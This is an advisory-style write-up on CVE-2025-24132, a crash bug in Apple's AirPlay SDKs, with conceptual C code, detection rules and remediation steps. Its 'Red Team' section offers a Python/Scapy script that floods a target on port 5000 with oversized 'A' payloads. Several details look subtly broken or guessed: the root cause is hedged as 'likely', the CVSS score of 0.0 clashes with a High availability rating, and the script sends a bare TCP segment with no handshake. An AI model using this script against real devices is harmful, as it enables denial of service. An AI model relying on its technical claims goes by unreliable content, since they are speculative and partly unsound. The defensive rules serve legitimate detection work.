CVE-2025-24132

Executive Summary

CVE-2025-24132 is a memory handling vulnerability in Apple's AirPlay audio and video SDKs. An attacker on the local network can trigger an unexpected app termination by sending a specially crafted request. The issue is resolved in AirPlay audio SDK 2.7.1 and AirPlay video SDK 3.6.0.126. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the local network attack vector and potential for denial of service (DoS) make it a moderate risk for applications integrating these SDKs.

Supply Chain & Package Security

This vulnerability affects proprietary Apple SDKs distributed via Apple's developer channels. There is no open-source package (NPM, PyPI, Go, Ruby) associated with this CVE. Organizations using these SDKs must obtain the patched versions directly from Apple.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned/Placeholder)
• Attack Vector (AV): Adjacent Network (Local network required)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (Unexpected app termination)
• Threat Level: Moderate (Denial of Service on local network)

Deep Dive & Mechanics

The vulnerability stems from improper memory handling when processing network requests. An attacker on the same local network as a device running an application that uses the vulnerable AirPlay SDK can send a maliciously crafted packet. This packet triggers a memory corruption (likely a buffer overflow or use-after-free) leading to an unexpected application termination (crash). The root cause is a lack of bounds checking or validation on incoming data, allowing the attacker to overwrite critical memory structures.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void process_airplay_packet(char *data, size_t len) {
    char buffer[1024];
    // No bounds check - vulnerable to buffer overflow
    memcpy(buffer, data, len);
    // ... process buffer
}

Patched Code (Conceptual):

void process_airplay_packet(char *data, size_t len) {
    char buffer[1024];
    // Bounds check added
    if (len > sizeof(buffer)) {
        // Handle error, reject packet
        return;
    }
    memcpy(buffer, data, len);
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

1. Setup: Use a Linux machine with Python3 and Scapy installed.
2. Craft Malicious Packet: Create a script to send a malformed AirPlay request.
3. Execute: Run the script against a target device on the same network.

Exploit Script (Python with Scapy):

from scapy.all import *
import socket

target_ip = "192.168.1.100"
target_port = 5000  # Common AirPlay port

# Craft a malformed AirPlay packet (example)
payload = b"A" * 2048  # Oversized payload to trigger overflow
packet = IP(dst=target_ip)/TCP(dport=target_port)/Raw(load=payload)

send(packet, verbose=False)
print("Malformed packet sent.")

Blue Team

1. Monitor Network Traffic: Use Wireshark or tcpdump to capture AirPlay traffic.
2. Detect Anomalies: Look for oversized packets or malformed headers.
3. Alert: Set up alerts for unexpected application crashes.

Detection Command (tcpdump):

sudo tcpdump -i eth0 port 5000 and greater 1500

Indicators of Compromise (IOCs)

• Network: Malformed AirPlay packets with size > 1500 bytes.
• System: Unexpected application crashes in processes using AirPlay SDK.
• Logs: Crash logs referencing memory corruption in AirPlay-related modules.

Detection Engineering

YARA Rule

rule CVE_2025_24132_AirPlay_Memory_Corruption {
    meta:
        description = "Detects malformed AirPlay packets indicative of CVE-2025-24132"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24132"
    strings:
        $airplay_header = "AirPlay"
        $large_payload = {41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41} // 16 'A's
    condition:
        $airplay_header and #large_payload > 100
}

Sigma Rule

title: CVE-2025-24132 AirPlay Memory Corruption Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects oversized AirPlay packets on the network
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 5000
        packet_size: '>1500'
    condition: selection
falsepositives:
    - Legitimate large AirPlay streams (rare)
level: high

Suricata Rule

alert tcp any any -> any 5000 (msg:"CVE-2025-24132 AirPlay Memory Corruption Attempt"; flow:to_server; dsize:>1500; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to AirPlay audio SDK 2.7.1 or AirPlay video SDK 3.6.0.126.
2. Network Segmentation: Isolate devices running AirPlay SDKs on separate VLANs.
3. Input Validation: Implement strict bounds checking on all incoming network data.
4. Monitoring: Deploy IDS/IPS rules to detect oversized AirPlay packets.
5. Backup: Maintain crash logs for forensic analysis.

Valters IT